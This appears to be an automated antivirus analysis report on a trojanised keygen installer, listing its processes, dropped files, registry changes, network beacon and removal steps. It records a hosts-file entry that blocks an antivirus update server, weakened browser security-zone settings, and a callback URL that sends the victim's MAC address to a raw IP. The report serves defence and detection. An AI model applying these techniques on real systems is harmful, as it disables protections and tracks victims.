MemScan.Application.Keygen.BD_d90d5e8633

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The MemScan creates the following process(es):

Setup_ver1.1482.0.exe:476
Setup_ver1.1482.0.exe:1476
Setup_ver1.1482.0.exe:1944
Keygen.exe:912
%original file name%.exe:1092

The MemScan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process Setup_ver1.1482.0.exe:476 makes changes in the file system.

The MemScan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)

The process Setup_ver1.1482.0.exe:1476 makes changes in the file system.

The MemScan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Desktop\Setup_ver1.1482.0.exe (77 bytes)

The process Keygen.exe:912 makes changes in the file system.

The MemScan creates and/or writes to the following file(s):

%System%\drivers\etc\hosts (774 bytes)

The process %original file name%.exe:1092 makes changes in the file system.

The MemScan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\Setup_ver1.1482.0.exe (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\Keygen.exe (2892 bytes)

Registry activity

The process Setup_ver1.1482.0.exe:476 makes changes in the system registry.

The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 17 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE 0F 4E D3 20 22 3F D9 5A 37 D6 1A AC B5 E9 94"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The MemScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The MemScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The MemScan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The MemScan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process Setup_ver1.1482.0.exe:1476 makes changes in the system registry.

The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3F 8C E2 DB B0 92 D4 1D 1B C5 C6 35 C4 4E 66 6F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Desktop]
"Setup_ver1.1482.0.exe" = "Setup_ver1.1482.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The MemScan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The MemScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The MemScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process Setup_ver1.1482.0.exe:1944 makes changes in the system registry.

The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4B 01 48 7E 6D BD 22 65 B6 5E 84 13 9C 93 47 48"

The process Keygen.exe:912 makes changes in the system registry.

The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "24 21 FA E5 7E 8A 66 2D A1 31 19 0C 6F 18 9D 94"

The process %original file name%.exe:1092 makes changes in the system registry.

The MemScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 00 FB 0C 78 7D 94 75 53 5A ED E1 20 CD 02 DE"

To automatically run itself each time Windows is booted, the MemScan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

Dropped PE files

MD5	File path
763989f315e8ac02fd9aeb370829ea0d	c:\Documents and Settings\"%CurrentUserName%"\Desktop\Setup_ver1.1482.0.exe
c33fbdc9acc9aeaca9c0644f3bc6e022	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\IXP000.TMP\Keygen.exe
9ce7e74a38767f2ee3d3d8207de71eaf	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\IXP000.TMP\Setup_ver1.1482.0.exe

HOSTS file anomalies

The MemScan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 774 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	update.bitdefender.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   Setup_ver1.1482.0.exe:476
   Setup_ver1.1482.0.exe:1476
   Setup_ver1.1482.0.exe:1944
   Keygen.exe:912
   %original file name%.exe:1092

2. Delete the original MemScan file.
   
3. Delete or disinfect the following files created/modified by the MemScan:

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Desktop\Setup_ver1.1482.0.exe (77 bytes)
   %System%\drivers\etc\hosts (774 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\Setup_ver1.1482.0.exe (2104 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\Keygen.exe (2892 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
   "wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
   
6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	39212	39424	4.55061	25e2a21438d0b6b61b3d1fbafd450bff
.data	45056	7140	1024	2.94449	99858e86526942a66950c7139f78a725
.rsrc	53248	232135	232448	5.50829	5a0729eabe72d2d21c1924114c91afd4

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://74.50.107.165/confirm.php?aid=1482&said=0&mac=00:0C:29:D6:C5:9B&hash=16EBD89D1878908B82761657EE43A49F&mn=7893

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /confirm.php?aid=1482&said=0&mac=00:0C:29:D6:C5:9B&hash=16EBD89D1878908B82761657EE43A49F&mn=7893 HTTP/1.1

User-Agent: wget 3.0

Host: 74.50.107.165

Cache-Control: no-cache

HTTP/1.1 404 Not Found

Date: Sat, 18 Oct 2014 05:49:26 GMT

Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4

Accept-Ranges: bytes

Transfer-Encoding: chunked

Content-Type: text/html

1.....1.....95..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html>. <head>. <title>..579..404 Not Found</title>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <style type="text/css">. body {. .font-family: Verdana, Arial, Helvetica, sans-serif;. .font-size: 12px;. .background-color:#367E8E;. .scrollbar-base-color: #005B70;. .scrollbar-arrow-color: #F3960B;. .scrollbar-DarkShadow-Color: #000000;. .color: #FFFFFF;....margin:0;. }. a { color:#021f25; text-decoration:none}. h1 {. .font-size: 18px;. .color: #FB9802;. .padding-bottom: 10px;. .background-image: url(sys_cpanel/images/bottombody.jpg);. .background-repeat: repeat-x;. .padding:5px 0 10px 15px;....margin:0;. }. #body-content p {. .padding-left: 25px;. .padding-right: 25px;. .line-height: 18px;. .padding-top: 5px;. .padding-bottom: 5px;. }. h2 {. .font-size: 14px;. .font-weight: bold;. .color: #FF9900;. .padding-left: 15px;. }. </style>. </head>. <body>. <div id="body-content"> .<!-- start content-->..<!-- . instead of REQUEST_URI, we could show absolute URL via:. hXXp://HTTP_HOST/REQUEST_URI. but what if its hXXps:// or other protocol?. . SE

<<< skipped >>>

Map

The MemScan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1092:

.text

.text

`.data

`.data

.rsrc

.rsrc

ADVAPI32.dll

ADVAPI32.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

COMCTL32.dll

COMCTL32.dll

VERSION.dll

VERSION.dll

advapi32.dll

advapi32.dll

advpack.dll

advpack.dll

wininit.ini

wininit.ini

Software\Microsoft\Windows\CurrentVersion\App Paths

Software\Microsoft\Windows\CurrentVersion\App Paths

setupapi.dll

setupapi.dll

setupx.dll

setupx.dll

IXPd.TMP

IXPd.TMP

TMP4351$.TMP

TMP4351$.TMP

FINISHMSG

FINISHMSG

USRQCMD

USRQCMD

ADMQCMD

ADMQCMD

msdownld.tmp

msdownld.tmp

wextract.pdb

wextract.pdb

PSSSSSSh

PSSSSSSh

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

RegCreateKeyExA

RegCreateKeyExA

RegQueryInfoKeyA

RegQueryInfoKeyA

GetWindowsDirectoryA

GetWindowsDirectoryA

ExitWindowsEx

ExitWindowsEx

MsgWaitForMultipleObjects

MsgWaitForMultipleObjects

rundll32.exe %s,InstallHinfSection %s 128 %s

rundll32.exe %s,InstallHinfSection %s 128 %s

SHELL32.DLL

SHELL32.DLL

Software\Microsoft\Windows\CurrentVersion\RunOnce

Software\Microsoft\Windows\CurrentVersion\RunOnce

PendingFileRenameOperations

PendingFileRenameOperations

System\CurrentControlSet\Control\Session Manager\FileRenameOperations

System\CurrentControlSet\Control\Session Manager\FileRenameOperations

wextract_cleanup%d

wextract_cleanup%d

%s /D:%s

%s /D:%s

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"

Command.com /c %s

Command.com /c %s

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\

Setup_ver1.1482.0.exe

Setup_ver1.1482.0.exe

Keygen.exe

Keygen.exe

K%U'=

K%U'=

V.eM ~

V.eM ~

%FidwL

%FidwL

&{]%3xvo

&{]%3xvo

:%Ui\

:%Ui\

tcMd$

tcMd$

ht}%F

ht}%F

VD.qr

VD.qr

3XQ%D

3XQ%D

zw.ay

zw.ay

URl_z

URl_z

_ G.Tb

_ G.Tb

.wev;

.wev;

N.PRw

N.PRw

%U$M4

%U$M4

k%C_9

k%C_9

td%UO

td%UO

' 5.JC,

' 5.JC,

Zh_c%U

Zh_c%U

t3f.uqgn

t3f.uqgn

"Keygen.exe"

"Keygen.exe"

"Setup_ver1.1482.0.exe"

"Setup_ver1.1482.0.exe"

Please read the following license agreement. Press the PAGE DOWN key to see the rest of the agreement.

Please read the following license agreement. Press the PAGE DOWN key to see the rest of the agreement.

CFailed to get disk space information from: %s.

CFailed to get disk space information from: %s.

System Message: %s.&A required resource cannot be located. Are you sure you want to cancel?

System Message: %s.&A required resource cannot be located. Are you sure you want to cancel?

8Unable to retrieve operating system version information.!Memory allocation request failed.

8Unable to retrieve operating system version information.!Memory allocation request failed.

Filetable full.Ên not change to destination folder.

Filetable full.Ên not change to destination folder.

Setup could not find a drive with %s KB free disk space to install the program. Please free up some space first and press RETRY or press CANCEL to exit setup.KThat folder is invalid. Please make sure the folder exists and is writable.IYou must specify a folder with fully qualified pathname or choose Cancel.!Could not update folder edit box.5Could not load functions required for browser dialog.7Could not load Shell32.dll required for browser dialog.

Setup could not find a drive with %s KB free disk space to install the program. Please free up some space first and press RETRY or press CANCEL to exit setup.KThat folder is invalid. Please make sure the folder exists and is writable.IYou must specify a folder with fully qualified pathname or choose Cancel.!Could not update folder edit box.5Could not load functions required for browser dialog.7Could not load Shell32.dll required for browser dialog.

(Error creating process . Reason: %s1The cluster size in this system is not supported.,A required resource appears to be corrupted.QWindows 95 or Windows NT 4.0 Beta 2 or greater is required for this installation.

(Error creating process . Reason: %s1The cluster size in this system is not supported.,A required resource appears to be corrupted.QWindows 95 or Windows NT 4.0 Beta 2 or greater is required for this installation.

Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install

Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install

Could not create folder '%s'

Could not create folder '%s'

To install this program, you need %s KB disk space on drive %s. It is recommended that you free up the required disk space before you continue.

To install this program, you need %s KB disk space on drive %s. It is recommended that you free up the required disk space before you continue.

Error retrieving Windows folder

Error retrieving Windows folder

$NT Shutdown: OpenProcessToken error.)NT Shutdown: AdjustTokenPrivileges error.!NT Shutdown: ExitWindowsEx error.}Extracting file failed. It is most likely caused by low memory (low disk space for swapping file) or corrupted Cabinet file.aThe setup program could not retrieve the volume information for drive (%s) .

$NT Shutdown: OpenProcessToken error.)NT Shutdown: AdjustTokenPrivileges error.!NT Shutdown: ExitWindowsEx error.}Extracting file failed. It is most likely caused by low memory (low disk space for swapping file) or corrupted Cabinet file.aThe setup program could not retrieve the volume information for drive (%s) .

System message: %s.xSetup could not find a drive with %s KB free disk space to install the program. Please free up some space and try again.eThe installation program appears to be damaged or corrupted. Contact the vendor of this application.

System message: %s.xSetup could not find a drive with %s KB free disk space to install the program. Please free up some space and try again.eThe installation program appears to be damaged or corrupted. Contact the vendor of this application.

/C: -- Override Install Command defined by author.

/C: -- Override Install Command defined by author.

eAnother copy of the '%s' package is already running on your system. Do you want to run another copy?

eAnother copy of the '%s' package is already running on your system. Do you want to run another copy?

Could not find the file: %s.

Could not find the file: %s.

:The folder '%s' does not exist. Do you want to create it?hAnother copy of the '%s' package is already running on your system. You can only run one copy at a time.OThe '%s' package is not compatible with the version of Windows you are running.SThe '%s' package is not compatible with the version of the file: %s on your system.

:The folder '%s' does not exist. Do you want to create it?hAnother copy of the '%s' package is already running on your system. You can only run one copy at a time.OThe '%s' package is not compatible with the version of Windows you are running.SThe '%s' package is not compatible with the version of the file: %s on your system.

Keygen.exe_912:

.text

.text

.rdata

.rdata

.data

.data

.rsrc

.rsrc

.idata

.idata

.reloc

.reloc

.adata

.adata

__MSVCRT_HEAP_SELECT

__MSVCRT_HEAP_SELECT

user32.dll

user32.dll